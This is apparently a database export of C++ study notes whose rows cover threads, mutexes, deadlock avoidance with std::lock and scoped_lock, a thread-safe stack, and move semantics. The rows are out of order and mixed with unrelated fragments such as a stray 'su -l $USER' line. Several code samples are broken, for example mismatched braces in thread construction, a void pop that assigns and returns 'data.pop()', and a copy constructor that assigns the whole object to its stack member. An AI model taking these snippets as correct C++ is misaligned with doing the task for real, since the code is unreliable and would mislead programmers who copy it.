= std::thread{do_work}; // t1 joinable\n std::thread t3 = std::move(t2); // t3 joinable, t2 empty\n t2 = std::move(t1); // t2 joinable, t1 empty text txt 2024-07-28 10:01:01.750466 -1925 446 // t1 is already empty\n t2.join();\n t3.join();\n} code txt 2024-07-28 10:01:01.772155 -1926 447 #include \n#include text txt 2024-07-28 10:01:02.383295 -1927 447 void task() { } text txt 2024-07-28 10:01:02.403456 -1928 447 int main()\n{\n unsigned int const min_threads = 2;\n unsigned int const hw_threads = std::thread::hardware_concurrency();\n unsigned int const num_threads = hw_threads ? hw_threads : min_threads; text txt 2024-07-28 10:01:02.4246 -1929 447 std::vector threads(num_threads-1); // count main thread as well text txt 2024-07-28 10:01:02.44528 -1930 447 for (std::thread& t: threads)\n t = std::thread{task}; text txt 2024-07-28 10:01:02.466212 -1931 447 for (std::thread& t: threads)\n t.join();\n} code txt 2024-07-28 10:01:02.487002 -1932 448 #include \n#include text txt 2024-07-28 10:01:02.861067 -1933 448 int main()\n{\n std::thread::id const main_thread_id = std::this_thread::get_id();\n std::cout << main_thread_id << std::endl;\n} code txt 2024-07-28 10:01:02.881744 -1998 466 The parameter can bind only to a temporary object that does not have a name\nor to an object marked with `std::move()`. text txt 2024-07-28 10:01:14.773339 -3679 883 struct X {}; text txt 2024-07-28 10:05:28.441806 -1934 449 To create a mutex, construct an instance of `std::mutex`, lock it with a call\nto the `lock()` member function, and unlock iit with a call to the `unlock()`\nmember function. But this procedure is better done by `std::lock_guard` class\ntemplate in the standard library. Both `std::mutex` and `std::lock_guard` are\ndeclared in the `` header. text txt 2024-07-28 10:01:03.883487 -1935 449 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:01:03.904602 -1936 449 std::vector data;\nstd::mutex mutex; text txt 2024-07-28 10:01:03.926389 -1937 449 void add_data(long value)\n{\n std::lock_guard guard(mutex);\n data.push_back(value);\n} text txt 2024-07-28 10:01:03.946262 -1938 449 void print_data()\n{\n std::lock_guard guard(mutex);\n std::for_each(std::begin(data), std::end(data), std::ostream_iterator(std::cout, " "));\n} text txt 2024-07-28 10:01:03.967555 -1939 449 int main()\n{\n std::thread t1{add_data, 1);\n std::thread t2{add_data, 2);\n std::thread t3{add_data, 3); text txt 2024-07-28 10:01:03.989148 -1940 449 print_data(); text txt 2024-07-28 10:01:04.009555 -1941 449 t1.join();\n t2.join();\n t3.join();\n} code txt 2024-07-28 10:01:04.030384 -1942 450 Consider `std::stack>`. Now, a vector is a dynamically sized\ncontainer, so when you copy a vector, the library has to allocate some more\nmemory from the heap in order to copy the contents. If the system is heavily\nloaded or there are significant resource constraints, this memory allocation\ncan fail, so the copy constructor for vector might throw a `std::bad_alloc`\nexception. This is likely if the vector contains a lot of elements. If the\n`pop()` function was defined to return the value popped, as well as remove it\nfrom the stack, you have a potential problem: the value being popped is\nreturned to the caller only after the stack has been modified, but the\nprocess of copying the data to return to the caller might throw an exception.\nIf this happens, the data popped is lost; it has been removed from the stack,\nbut the copy was unsuccessful! text txt 2024-07-28 10:01:04.551768 -1943 450 The designers of the `std::stack` interface helpfully split the operation in\ntwo: get the `top()` element and then `pop()` it from the stack, so that if\nyou can’t safely copy the data, it stays on the stack. text txt 2024-07-28 10:01:04.572213 -1944 450 Unfortunately, it’s precisely this split that you’re trying to avoid in\neliminating the race condition! text txt 2024-07-28 10:01:04.594562 -1945 451 To protect the data we should change the design of the interface. There are\ncommonly two methods to protect data from race condition when returning: text txt 2024-07-28 10:01:06.152747 -1946 451 1. Pass in a reference\n2. Return a pointer to the removed item text txt 2024-07-28 10:01:06.172827 -1947 451 #include \n#include \n#include \n#include text txt 2024-07-28 10:01:06.192473 -1948 451 struct empty_stack : std::exception\n{\n char const* what() const noexcept;\n}; text txt 2024-07-28 10:01:06.213254 -1949 451 template\nclass threadsafe_stack\n{\nprivate:\n mutable std::mutex exclusive_lock;\n std::stack data; text txt 2024-07-28 10:01:06.234983 -1950 451 public:\n threadsafe_stack() { } text txt 2024-07-28 10:01:06.255606 -1951 451 threadsafe_stack(threadsafe_stack const& other)\n {\n std::lock_guard guard(other.exclusive_lock);\n data = other;\n } text txt 2024-07-28 10:01:06.276646 -1952 451 threadsafe_stack& operator=(threadsafe_stack const&) = delete; text txt 2024-07-28 10:01:06.29775 -1953 451 void push(T value)\n {\n std::lock_guard guard(exclusive_lock);\n data.push(value);\n } text txt 2024-07-28 10:01:06.317783 -1954 451 std::shared_ptr pop()\n {\n std::lock_guard guard(exclusive_lock);\n if (data.empty()) throw empty_stack{};\n std::shared_ptr const value = std::make_shared(data.top());\n data.pop();\n return value;\n } text txt 2024-07-28 10:01:06.337669 -1955 451 void pop(T& value)\n {\n std::lock_guard guard(exclusive_lock);\n if (data.empty()) throw empty_stack{};\n value = data.pop();\n return value;\n } text txt 2024-07-28 10:01:06.360987 -1956 451 bool empty() const\n {\n std::lock_guard guard(exclusive_lock);\n return data.empty();\n }\n}; code txt 2024-07-28 10:01:06.382445 -1957 452 As the discussion of `top()` and `pop()` shows, problematic race conditions\nin interfaces arise because of locking at too small a granularity; the\nprotection doesn’t cover the entirety of the desired operation. Problems with\nmutexes can also arise from locking at too large a granularity; the extreme\nsituation is a single global mutex that protects all shared data. In a system\nwhere there’s a significant amount of shared data, this can eliminate any\nperformance benefits of concurrency, because the threads are forced to run\none at a time, even when they’re accessing different bits of data. The first\nversions of the Linux kernel that were designed to handle multi-processor\nsystems used a single global kernel lock. Although this worked, it meant that\na two-processor system typically had much worse performance than two\nsingle-processor systems, and performance on a four-processor system was\nnowhere near that of four single-processor systems. There was too much\ncontention for the kernel, so the threads running on the additional\nprocessors were unable to perform useful work. Later revisions of the Linux\nkernel have moved to a more fine-grained locking scheme, so the performance\nof a four-processor system is much nearer the ideal of four times that of a\nsingle-processor system, because there’s far less contention. text txt 2024-07-28 10:01:06.927558 -1958 453 One issue with fine-grained locking schemes is that sometimes you need more\nthan one mutex locked in order to protect all the data in an operation. such\nas when the mutexes are protecting separate instances of a class. text txt 2024-07-28 10:01:07.194294 -1959 453 If you end up having to lock two or more mutexes for a given operation,\nthere’s another potential problem lurking in the wings, **deadlock**. text txt 2024-07-28 10:01:07.215746 -1960 454 The common advice for avoiding deadlock is to always lock the two mutexes in\nthe same order: if you always lock mutex A before mutex B, then you’ll never\ndeadlock. Sometimes this is straightforward, because the mutexes are serving\ndifferent purposes, but other times it’s not so simple, such as when the\nmutexes are each protecting a separate instance of the same class. text txt 2024-07-28 10:01:08.528742 -1961 454 Thankfully, the C++ Standard Library has a cure for this in the form of\n`std::lock`, a function that can lock two or more mutexes at once without\nrisk of deadlock. text txt 2024-07-28 10:01:08.550637 -1962 454 class some_big_object; text txt 2024-07-28 10:01:08.571153 -1963 454 void swap(some_big_object& lhs, some_big_object& rhs); text txt 2024-07-28 10:01:08.591533 -1964 454 class heavy_work\n{\nprivate:\n some_big_object data;\n std::mutex exclusive_lock; text txt 2024-07-28 10:01:08.612494 -1965 454 public:\n heavy_work(some_big_object const& sd):data(sd) { } text txt 2024-07-28 10:01:08.634621 -2086 483 In some cases, move operations take significant time. For example, if we have\na class with a string and a vector of values, taking by value and move is\nusually the right approach. However, if we have a `std::array` member, moving\nit will take significant time even if the members are moved. text txt 2024-07-28 10:01:28.223942 -1966 454 friend void swap(heavy_work& lhs, heavy_work& rhs)\n {\n if(&lhs==&rhs)\n return;\n std::lock(lhs.exclusive_lock, rhs.exclusive_lock); // locks the two mutexes\n std::lock_guard lock_a(lhs.exclusive_lock, std::adopt_lock);\n std::lock_guard lock_b(rhs.exclusive_lock, std::adopt_lock);\n swap(lhs.data,rhs.data);\n }\n}; code txt 2024-07-28 10:01:08.656259 -1967 454 C++17 provides additional support for this scenario, in the form of a new\nRAII template, `std::scoped_lock<>`. This is exactly equivalent to\n`std::lock_guard<>`, except that it is a variadic template, accepting a list\nof mutex types as template parameters, and a list of mutexes as constructor\narguments. The mutexes supplied to the constructor are locked using the same\nalgorithm as std::lock, so that when the constructor completes they are all\nlocked, and they are then all unlocked in the destructor. text txt 2024-07-28 10:01:08.678241 -1968 454 void swap(heavy_work& lhs, heavy_work& rhs)\n{\n if(&lhs == &rhs)\n return;\n std::scoped_lock guard(lhs.exclusive_lock, rhs.exclusive_lock);\n swap(lhs.some_detail, rhs.some_detail);\n} code txt 2024-07-28 10:01:08.700222 -1969 454 The `std::adopt_lock` parameter is supplied in addition to the mutex to\nindicate to the `std::lock_guard` objects that the mutexes are already\nlocked, and they should adopt the ownership of the existing lock on the mutex\nrather than attempt to lock the mutex in the constructor. text txt 2024-07-28 10:01:08.721253 -1970 455 It’s worth noting that locking any of the mutexes inside the call to\n`std::lock` can throw an exception; in this case, the exception is propagated\nout of `std::lock`. If `std::lock` has successfully acquired a lock on one\nmutex and an exception is thrown when it tries to acquire a lock on the other\nmutex, this first lock is released automatically. `std::lock` provides\nall-or-nothing semantics with regard to locking the supplied mutexes. text txt 2024-07-28 10:01:09.142334 -1971 455 C++17 provides additional support for this scenario, in the form of a new\nRAII template, `std::scoped_lock<>`. This is exactly equivalent to\n`std::lock_guard<>`, except that it is a variadic template, accepting a list\nof mutex types as template parameters, and a list of mutexes as constructor\narguments. The mutexes supplied to the constructor are locked using the same\nalgorithm as std::lock, so that when the constructor completes they are all\nlocked, and they are then all unlocked in the destructor. text txt 2024-07-28 10:01:09.164075 -1972 456 `std::unique_lock` provides a bit more flexibility than `std::lock_guard` by\nrelaxing the invariants; an `std::unique_lock` instance doesn't always own\nthe mutex that it's associated with. First off, as you can pass\n`std::adopt_lock` as a second argument to the constructor to have the lock\nobject manage the lock on a mutex, you can also pass `std::defer_lock` as the\nsecond argument to indicate that the mutex should remain unlocked on\nconstruction. The lock can then be acquired later by `std::lock()` on the\n`std::unique_lock` object or by passing `std::unique_lock` object to\n`std::lock()`. text txt 2024-07-28 10:01:10.079399 -1973 456 class some_big_object; text txt 2024-07-28 10:01:10.100901 -1974 456 void swap(some_big_object& lhs, some_big_object& rhs); text txt 2024-07-28 10:01:10.122185 -1975 456 class heavy_work\n{\nprivate:\n some_big_object data;\n std::mutex exclusive_lock; text txt 2024-07-28 10:01:10.143284 -1976 456 public:\n heavy_work(some_big_object const& sd):data(sd) { } text txt 2024-07-28 10:01:10.164734 -1977 456 friend void swap(heavy_work& lhs, heavy_work& rhs)\n {\n if(&lhs==&rhs)\n return;\n std::unique_lock lock_a(lhs.exclusive_lock, std::defer_lock);\n std::unique_lock lock_b(rhs.exclusive_lock, std::defer_lock);\n std::lock(lhs.exclusive_lock, rhs.exclusive_lock); // locks the two mutexes\n swap(lhs.data,rhs.data);\n }\n}; code txt 2024-07-28 10:01:10.186449 -1978 457 #include \n#include text txt 2024-07-28 10:01:10.954659 -1979 457 std::vector f()\n{\n std::vector cells; // default constructed vector without allocations\n cells.reserve(3); // allocate 3 elements of std::string\n std::string s{"data"}; // default constructed std::string\n cells.push_back(s); // 1st vector element copy constructed\n cells.push_back(s+s); // default construction of temporary object; move construction of 2nd vector element\n cells.push_back(std::move(s)); // move constructed 3rd vector element; empty out s object\n return cells; // optimize out vector as return value\n} text txt 2024-07-28 10:01:10.976727 -1980 457 int main()\n{\n std::vector v;\n v = f(); // move assigned constructed vector by return value\n} code txt 2024-07-28 10:01:10.997597 -1981 458 #include text txt 2024-07-28 10:01:12.085403 -1982 458 class bag\n{\nprivate:\n unsigned int _count;\n int* _storage; text txt 2024-07-28 10:01:12.107519 -1983 458 public:\n bag(int const& number): _count{0}, _storage{nullptr}\n {\n _count++;\n _storage = new int{number};\n } text txt 2024-07-28 10:01:12.127982 -1984 458 virtual ~bag()\n {\n if (_count)\n delete _storage;\n } text txt 2024-07-28 10:01:12.148342 -1985 458 bag(bag const& other): _count{other._count}\n {\n _storage = new int{*other._storage};\n } text txt 2024-07-28 10:01:12.169418 -1986 458 bag(bag&& other): _count{other._count}, _storage{other._storage}\n {\n other._count = 0;\n other._storage = nullptr;\n }\n}; text txt 2024-07-28 10:01:12.190919 -1987 458 int main()\n{\n bag a{1};\n bag b{std::move(a)};\n} code txt 2024-07-28 10:01:12.212572 -1988 459 The rule is that for a temporary object or an object marked with\n`std::move()`, if available, a function declaring parameters as an rvalue\nreference is preferred. However, if no such function exists, the usual copy\nsemantics is used as a fallback. text txt 2024-07-28 10:01:12.489004 -1989 460 The objects declared with const cannot be moved because any optimizing\nimplementation requires that the passed argument can be modified. text txt 2024-07-28 10:01:12.889704 -1990 460 std::vector coll;\nconst std::string s{"data"}; text txt 2024-07-28 10:01:12.910317 -1991 460 coll.push_back(std::move(s)); // OK, calls push_back(const std::string &) code txt 2024-07-28 10:01:12.931543 -1992 461 Declaring the return value as a whole to be `const` disables move semantics\nand it also disables **return value optimization**. `const` should be used to\ndeclare parts of return type instead, such as the object a returned reference\nor poionter refers to. text txt 2024-07-28 10:01:13.302306 -1993 461 const std::string getValues(); // BAD: disables move semantics for return value\nconst std::string& getRef(); // OK\nconst std::string* getPtr(); // OK code txt 2024-07-28 10:01:13.322295 -1994 462 The implementer has to ensure that the passed argument is in a valid state\nafter the call. text txt 2024-07-28 10:01:13.531717 -1995 463 - When the value of a temporary object is passed that will automatically be\n destroyed after the statement.\n- When a non-`const` object marked with `std::move()`. text txt 2024-07-28 10:01:13.764549 -1996 464 `std::move()` is defined a a function in C++ standard library ``. No\nstandard header is required t include `utility` header file. Therefore, when\nusing `std::move()`, you should explicitly include `` to make your\nprogram portable. text txt 2024-07-28 10:01:14.032835 -1999 466 According to the semantics of rvalue references, the caller claims that it is\n*no longer interested in the value*. Therefore, you can modify the object the\nparameter refers to. However, the caller might still be interested in using\nthe object. Therefore, any modification should keep the referenced object in\na valid state. text txt 2024-07-28 10:01:14.796885 -2000 466 void foo(std::string&& rv);\nstd::string s{"data"}; text txt 2024-07-28 10:01:14.81818 -2001 466 foo(s); // ERROR\nfoo(std::move(s)); // OK\nfoo(returnStringByValue()); // OK code txt 2024-07-28 10:01:14.839116 -2002 467 Moved-from objects are still valid objects for which at least the destructor\nwill be called. However, they should also be valid in the sense that they\nhave a consisten state and all operations work as expected. The only thing\nyou do not know is their value. text txt 2024-07-28 10:01:15.350453 -2003 467 std::string s{"data"}; text txt 2024-07-28 10:01:15.371983 -2004 467 foo(std::move(s)); text txt 2024-07-28 10:01:15.392917 -2005 467 std::cout << s << '\\\\n'; // OK (don't know which value is written)\nstd::cout << s.size() << '\\\\n'; // OK (writes current number of characters)\nstd::cout << s[0] << '\\\\n'; // ERROR (potentially undefined behavior)\nstd::cout << s.front() << '\\\\n'; // ERROR (potentially undefined behavior)\ns = "new value"; // OK code txt 2024-07-28 10:01:15.413797 -2006 468 **const lvalue reference** text txt 2024-07-28 10:01:16.652405 -2007 468 The function has only read access to the passed argument. text txt 2024-07-28 10:01:16.673201 -2008 468 void foo(const std::string& arg); code txt 2024-07-28 10:01:16.69337 -2009 468 You can pass everything to a function declared that way if the type fits: text txt 2024-07-28 10:01:16.713732 -2010 468 - A modifiable named object\n- A `const` named object\n- A temporary object that does not have a name\n- A non-`const` object marked with `std::move()` text txt 2024-07-28 10:01:16.734438 -2011 468 **non-const lvalue reference** text txt 2024-07-28 10:01:16.754304 -2012 468 The function has write access to the passed argument. You can no longer pass\neverything to a function declared that way even if the type fits. text txt 2024-07-28 10:01:16.77531 -2013 468 void foo(std::string& arg); code txt 2024-07-28 10:01:16.796033 -2014 468 You can pass: text txt 2024-07-28 10:01:16.817003 -2015 468 - A modifiable object text txt 2024-07-28 10:01:16.836319 -2016 468 **non-const rvalue reference** text txt 2024-07-28 10:01:16.857131 -2017 468 void foo(std::string&& arg); code txt 2024-07-28 10:01:16.877119 -2018 468 The function has write access to the passed argument.\nHowever, you have restrictions on what you can pass: text txt 2024-07-28 10:01:16.897258 -2019 468 - A temporary object that does not have a name\n- A non-`const` object marked with `std::move()` text txt 2024-07-28 10:01:16.917382 -2020 468 The semantic meaning is that we give `foo()` write access to the passed\nargument to steal the value. text txt 2024-07-28 10:01:16.938493 -2021 468 **const rvalue reference** text txt 2024-07-28 10:01:16.959413 -2022 468 void foo(const std::string&& arg); code txt 2024-07-28 10:01:16.980499 -2023 468 This also means that you have read access to the passed argument.\nYou can only pass: text txt 2024-07-28 10:01:17.000502 -2024 468 - A temporary object that does not have name\n- A `const` or non-`const` object marked with `std::move()` text txt 2024-07-28 10:01:17.020885 -2025 468 However, there is no useful semantic meaning of this case. text txt 2024-07-28 10:01:17.041202 -2026 469 With move semantics call-by-value can become cheap if a temporary object is\npassed or the passed argument is marked with `std::move()`. Retuurning a\nlocal object by value can be optimized away. However, if it is not optimized\naway, the call is guaranteed to be cheap now. text txt 2024-07-28 10:01:17.6854 -2027 469 void fooByVal(std::string str);\nvoid fooByRRef(std::string&& str);; text txt 2024-07-28 10:01:17.705612 -2028 469 std::string s1{"data"}, s2{"data"}; text txt 2024-07-28 10:01:17.725543 -2029 469 fooByVal(std::move(s1)); // s1 is moved\nfooByRRef(std::move(s2)); // s2 might be moved code txt 2024-07-28 10:01:17.746273 -2030 469 The function taking the string by value will use move semantics because a new\nstring is created with the value of passed argument. The function taking the\nstring by rvalue reference might use move semantics. Passing the argument\ndoes not create a new string. Wether the value of the passed argument is\nstolen/modified depends on the implementation of the function. text txt 2024-07-28 10:01:17.768604 -2031 469 Move semantics does not guarantee that any optimization happens at all or\nwhat the effect of any optimization is. All we know is that the passed object\nis subsequently in a valid but unspecified state. text txt 2024-07-28 10:01:17.788994 -2032 470 If classes have changed the usual behavior of copying or assignment, they\nprobably also have to do some things different when optimizing these\noperations. Any form of an explicit declaration of a copy constructor, copy\nassignment operator, or destructor disables move semantics, even if\ndeclarations are marked with `=default`. text txt 2024-07-28 10:01:18.117086 -2033 471 The copy constructor is automatically generated when all of the following\nconditions are met: text txt 2024-07-28 10:01:18.429912 -2034 471 * No move constructor is user-declared\n* No move assignment operator is user-declared text txt 2024-07-28 10:01:18.450051 -2035 472 The move constructor is automatically generated when all of the following\nconditions are met: text txt 2024-07-28 10:01:18.781844 -2036 472 * No copy constructor is user-declared\n* No copy assignment operator is user-declared\n* No another move operation is user-declared\n* No destructor is user-declared text txt 2024-07-28 10:01:18.803647 -2037 473 Declaring destructors in anyway disables the automatic generation of move\noperations. text txt 2024-07-28 10:01:19.052618 -2038 474 Move constructor is called when the caller no longer needs the value. Inside\nthe move constructor, we hdecide where an how long we need it. In particular,\nwe might need the value multiple times and not lose it with its first use. text txt 2024-07-28 10:01:19.575539 -2039 474 void insertTwice(std::vector& coll, std::string&& str)\n{\n coll.push_back(str); // copy str into coll\n coll.push_back(std::move(str)); // move str into coll\n} code txt 2024-07-28 10:01:19.596294 -2040 474 The important lesson to learn here is that a parameter being declared as an\nrvalue reference restricts what we can pass to this function but behaves just\nlike any other non-`const` object of this type. text txt 2024-07-28 10:01:19.617023 -2041 475 By default, both copying and moving special member functions are generated\nfor class. text txt 2024-07-28 10:01:20.079501 -2042 475 class Person\n{\n ...\npublic:\n ...\n // NO copy constructor/assignment declared\n // NO move constructor/assignment declared\n // NO destructor declared\n}; code txt 2024-07-28 10:01:20.101016 -2043 476 Generated move operations might introduce problems even though the generated\ncopy operations work correctly. In particular, you have to be careful in the\nfollowing situations: text txt 2024-07-28 10:01:20.409838 -2044 476 - Values of members have restrictions\n- Values of members depend on each other\n- Member with reference semantics are used (pointers, smart pointers, ...)\n- Objects have no default constructed state text txt 2024-07-28 10:01:20.431904 -2045 477 All types in C++ standard library receive a valid but unspecified state when\nobjects are moved to themselves. This means that by default, you might lose\nthe values of your members and you might even have a more severe problem if\nyour type does not work properly with members that have arbitrary values. text txt 2024-07-28 10:01:20.990738 -2046 477 The traditional/naive way to protect against self-assignments is to check\nwether both operands are identical. You can also do this when implementing\nthe move assignment operator. text txt 2024-07-28 10:01:21.011268 -2047 477 Customer& operator=(Customer&& other) noexcept\n{\n if (this != &other)\n {\n name = std::move(other.name);\n values = std::move(other.values);\n }\n return *this;\n} code txt 2024-07-28 10:01:21.032671 -2048 478 if you declare the move constructor as deleted, you cannot move (you have\ndisabled this operation; any fallback is not used) and cannot copy (because a\ndeclared move constructor disables copy operations). text txt 2024-07-28 10:01:22.156358 -2049 478 class Person\n{\npublic:\n ...\n // NO copy constructor declared text txt 2024-07-28 10:01:22.177003 -2050 478 // move constructor/assignment declared as deleted:\n Person(Person&&) = delete;\n Person& operator=(Person&&) = delete;\n ...\n}; text txt 2024-07-28 10:01:22.198783 -2051 478 Person p{"Tina", "Fox"};\ncoll.push_back(p); // ERROR: copying disabled\ncoll.push_back(std::move(p)); // ERROR: moving disabled code txt 2024-07-28 10:01:22.219934 -2052 478 You get the same effect by declaring copying special member functions as\ndeleted and that is probably less confusing for other programmers. text txt 2024-07-28 10:01:22.240864 -2053 478 Deleting the move operations and enabling the copy operations really makes no sense:\nclass Person\n{\npublic:\n ...\n // copy constructor explicitly declared:\n Person(const Person& p) = default;\n Person& operator=(const Person&) = default; text txt 2024-07-28 10:01:22.261948 -2054 478 // move constructor/assignment declared as deleted:\n Person(Person&&) = delete;\n Person& operator=(Person&&) = delete;\n ...\n}; text txt 2024-07-28 10:01:22.283332 -2055 478 Person p{"Tina", "Fox"};\ncoll.push_back(p); // OK: copying enabled\ncoll.push_back(std::move(p)); // ERROR: moving disabled code txt 2024-07-28 10:01:22.304403 -2056 478 In this case, `=delete` disables the fallback mechanism. text txt 2024-07-28 10:01:22.324635 -2057 479 Declaring the special move member functions as deleted is usually not the\nright way to do it because it disables the fallback mechanism. The right way\nto disable move semantics while providing copy semantics is to declare one of\nthe other special member functions (copy constructor, assignment operator, or\ndestructor). I recommend that you default the copy constructor and the\nassignment operator (declaring one of them would be enough but might cause\nunnecessary confusion): text txt 2024-07-28 10:01:22.890499 -2058 479 class Customer\n{\n ...\npublic:\n ...\n Customer(const Customer&) = default; // disable move semantics\n Customer& operator=(const Customer&) = default; // disable move semantics\n}; code txt 2024-07-28 10:01:22.910772 -2059 480 If move semantics is unavailable or has been deleted for a type, this has no\ninfluence on the generation of move semantics for classes that have members\nof this type. text txt 2024-07-28 10:01:23.699199 -2060 480 class Customer\n{\n ...\npublic:\n ...\n Customer(const Customer&) = default;\n // copying calls enabled\n Customer& operator=(const Customer&) = default; // copying calls enabled\n Customer(Customer&&) = delete;\n // moving calls disabled\n Customer& operator=(Customer&&) = delete;\n // moving calls disabled\n}; text txt 2024-07-28 10:01:23.72155 -2061 480 class Invoice\n{\n std::string id;\n Customer cust;\npublic:\n ... // no special member functions\n}; text txt 2024-07-28 10:01:23.74197 -2062 480 Invoice i;\nInvoice i1{std::move(i)}; // OK, moves id, copies cust code txt 2024-07-28 10:01:23.763298 -2063 481 The guideline is to either declare all five (copy constructor, move\nconstructor, copy assignment operator, move assignment operator, and\ndestructor) or none of them. Declaration means either to implement, set as\ndefault, or set as deleted. text txt 2024-07-28 10:01:24.051483 -2064 482 Returning a local object by value automatically uses move semantics if\nsupported. On the other hand, `std::move` is just a `static_cast` to an\nrvalue reference, therefore disables **return value optimization**, which\nusually allows the returned object to be used as a return value instead. text txt 2024-07-28 10:01:24.505502 -2065 482 std::string foo()\n{\n std::string s;\n return std::move(s); // BAD, returns std::string&&\n} code txt 2024-07-28 10:01:24.526784 -2066 483 Constructing an object only by const lvalue references will allocate four\nmemory spaces which two of them are unnecessary. Also move operation does not\nwork here because parameters are const. text txt 2024-07-28 10:01:27.805884 -2067 483 When passing string literals to const lvalue references, compiler creates two\ntemporary objects of `std::string`, which then will be used to initialize\nmembers while this also makes two copies. text txt 2024-07-28 10:01:27.826892 -2068 483 #include text txt 2024-07-28 10:01:27.84808 -2069 483 class box\n{\nprivate:\n std::string first;\n std::string last; text txt 2024-07-28 10:01:27.869482 -2070 483 public:\n box(std::string const& f, std::string const& l): first{f}, last{l} {}\n // f, l allocated\n // first, last also allocated\n}; text txt 2024-07-28 10:01:27.890683 -2071 483 box b{"First", "Last"}; code txt 2024-07-28 10:01:27.910585 -2072 483 With constructors that take each argument by value and moving them into\nmembers, we avoid redundant memory allocations. This is especially true when\nwe are taking values in constructor initialization list. text txt 2024-07-28 10:01:27.932299 -2073 483 #include text txt 2024-07-28 10:01:27.952301 -2074 483 class box\n{\nprivate:\n std::string first;\n std::string last; text txt 2024-07-28 10:01:27.972438 -2075 483 public:\n box(std::string f, std::string l): first{std::move(f)}, last{std::move(l)} {}\n}; code txt 2024-07-28 10:01:27.992694 -2076 483 Another good example to pass by value and move is methods taking objects to\nadd to a data structure: text txt 2024-07-28 10:01:28.014412 -2077 483 #include \n#include text txt 2024-07-28 10:01:28.036084 -2078 483 class box\n{\nprivate:\n std::string first;\n std::vector values; text txt 2024-07-28 10:01:28.056766 -2079 483 public:\n box(std::string f, std::vector v): first{std::move(f)}, values{std::move(v)} {}\n insert(std::string n) { values.push_back(std::move(n)); }\n}; code txt 2024-07-28 10:01:28.078801 -2080 483 It is also possible to use rvalue parameters and move options: text txt 2024-07-28 10:01:28.099182 -2081 483 #include text txt 2024-07-28 10:01:28.119104 -2082 483 class box\n{\nprivate:\n std::string first;\n std::string last; text txt 2024-07-28 10:01:28.139681 -2083 483 public:\n box(std::string&& f, std::string&& l): first{std::move(f)}, last{std::move(l)} {}\n}; code txt 2024-07-28 10:01:28.161165 -2084 483 But this solely prevents objects with names. So we should implement two\noverloads that pass by values and move: text txt 2024-07-28 10:01:28.182259 -2085 483 Overloading both for rvalue and lvalue references lead to many different\ncombinations of parameters. text txt 2024-07-28 10:01:28.202774 -3915 959 su -l $USER code txt 2024-07-28 10:06:08.566653 -2089 483 public:\n box(std::string f, std::array& v): first{std::move(f)}, values{v} {}\n box(std::string f, std::array&& v): first{std::move(f)}, values{std::move(v)} {}\n}; code txt 2024-07-28 10:01:28.289457 -2090 483 Often, pass by value is useful when we *create and initialize* a new value.\nBut if we already have a value, which we update or modify, using this\napproach would be counterproductive. A simple example would be setters: text txt 2024-07-28 10:01:28.312004 -2091 483 #include text txt 2024-07-28 10:01:28.331773 -2092 483 class box\n{\nprivate:\n std::string first; text txt 2024-07-28 10:01:28.351814 -2093 483 public:\n box(std::string f): first{std::move(f)} {}\n void set_first(std::string f) { first = f; }\n}; text txt 2024-07-28 10:01:28.372286 -2094 483 box b{"Sample"};\nb.set_first("Another Sample");\nb.set_first("Another Sample");\nb.set_first("Another Sample");\nb.set_first("Another Sample"); code txt 2024-07-28 10:01:28.393921 -2095 483 Each time we set a new firstname we create a new temporary parameter `s`\nwhich allocates its own memory. But by implementing in the traditional way\ntaking a const lvalue reference we avoid allocations: text txt 2024-07-28 10:01:28.414127 -2096 483 #include text txt 2024-07-28 10:01:28.434448 -2097 483 class box\n{\nprivate:\n std::string first; text txt 2024-07-28 10:01:28.455611 -2098 483 public:\n box(std::string f): first{std::move(f)} {}\n void set_first(std::string const& f) { first = f; }\n}; code txt 2024-07-28 10:01:28.476365 -2099 483 Even with move semantics, the best approach for setting existing values is to\ntake the new values by const lvalue reference and assign without using move\noperation. text txt 2024-07-28 10:01:28.497702 -2100 483 Taking a parameter by value and moving it to where the new value is needed is\nonly useful when we store the passed value somewhere as a new value where we\nneed new memory allocation anyway. When modifying an existing value, this\npolicy might be counterproductive. text txt 2024-07-28 10:01:28.519327 -2101 484 Usually, in polymorphic derived classes there is no need to declare special\nmember functions, especially virtual destructor. text txt 2024-07-28 10:01:29.059663 -2102 484 class Base\n{\npublic:\n virtual void do_something() const = 0;\n virtual ~Base() = default;\n}; text txt 2024-07-28 10:01:29.080985 -2103 484 class Derived: public Base\n{\npublic:\n virtual void do_something() const override;\n virtual ~Derived() = default; // BAD, redundant, disables move\n}; code txt 2024-07-28 10:01:29.101739 -2104 485 - Constructors that initialize members from parameters, for which move\n operations are cheap, should take the argument by value and move it to the\n member.\n- Constructors that initialize members from parameters, for which move\n operations take a significant amount of time, should be overloaded for move\n semantics for best performance.\n- In general, creating and initializing new values from parameters, for which\n move operations are cheap, should take the arguments by value and move.\n However, do not take by value and move to update/modify existing values. text txt 2024-07-28 10:01:29.441986 -2105 486 A getter returning by value is safe but each time we call it we might make a\ncopy: text txt 2024-07-28 10:01:31.040436 -2106 486 class Recipients\n{\nprivate:\n std::vector _names;\npublic:\n std::vector names() const {\n return _names;\n }\n}; code txt 2024-07-28 10:01:31.061612 -2107 486 A getter returning by reference is fast but unsafe because the caller has to\nensure that the object the returned reference refers to lives long enough. text txt 2024-07-28 10:01:31.082189 -2108 486 class Recipients\n{\nprivate:\n std::vector _names;\npublic:\n std::vector const& names() const {\n return _names;\n }\n}; code txt 2024-07-28 10:01:31.102899 -2109 486 This will fail when object is an rvalue reference: text txt 2024-07-28 10:01:31.123996 -2110 486 for (std::string name: returnRecipients().names()) // undefined behavior\n{\n if (name == "manager")\n ...\n}; code txt 2024-07-28 10:01:31.143974 -2111 486 Using move semantics we can return by reference if it is safe to do so, and\nreturn by value if we might run into lifetime issues: text txt 2024-07-28 10:01:31.163919 -2112 486 class Recipients\n{\nprivate:\n std::vector _names;\npublic:\n std::vector names() && { // where we no longer need the value\n return std::move(_names); // we steal and return by value\n }\n std::vector const& names() const& { // in all other cases\n return _names; // we give access to the member\n }\n}; code txt 2024-07-28 10:01:31.185151 -2113 486 We overload the getter with different reference qualifiers in the same way as\nwhen overloading a function for `&&` and `const&` parameters. text txt 2024-07-28 10:01:31.205435 -2114 486 The version with the `&&` qualifier is used when we have an object where we\nno longer need the value, an object that is about to die or that we have\nmarked with `std::move()`. text txt 2024-07-28 10:01:31.225474 -2115 486 The version with `const&` qualifier is used in all other cases. It is only\nthe fallback if we cannot take the `&&` version. Thus this function is used\nif we have an object that is not about to die or marked with `std::move()`. text txt 2024-07-28 10:01:31.246114 -2116 486 We now have both good performance and safety. text txt 2024-07-28 10:01:31.266442 -2117 487 Since C++98 we can overload member functions 